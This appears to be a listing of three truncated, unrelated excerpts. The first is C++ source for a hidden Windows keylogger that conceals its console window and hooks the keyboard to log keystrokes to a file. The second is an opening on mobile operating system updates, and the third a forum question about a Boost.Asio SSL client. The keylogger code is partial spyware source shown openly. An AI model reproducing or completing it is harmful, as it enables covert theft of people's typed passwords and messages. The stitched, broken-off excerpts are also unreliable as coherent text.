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#define _WIN32_WINNT 0x0500 #include<fstream> #include<windows.h> #include<winuser.h> using namespace std; void stealth(){ HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); } ofstream out("keys.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p->vkCode) { … | |
Generally speaking, when it comes to being as secure as possible (and, just as importantly, staying as secure as possible) newer is better. This is certainly the case if we are talking mobile operating systems such as Android and iOS. As of the start of March 2017, according to [Apple's … | |
I'm trying to develop an app that realises the communication between a gameserver and an applcation. My code so far is: #include <cstdlib> #include <iostream> #include <boost/bind.hpp> #include <boost/asio.hpp> #include <boost/asio/ssl.hpp> using namespace std; enum { max_length = 1024 }; class client { public: boost::asio::streambuf receive_buffer; client(boost::asio::io_service& io_service, boost::asio::ssl::context& context, … |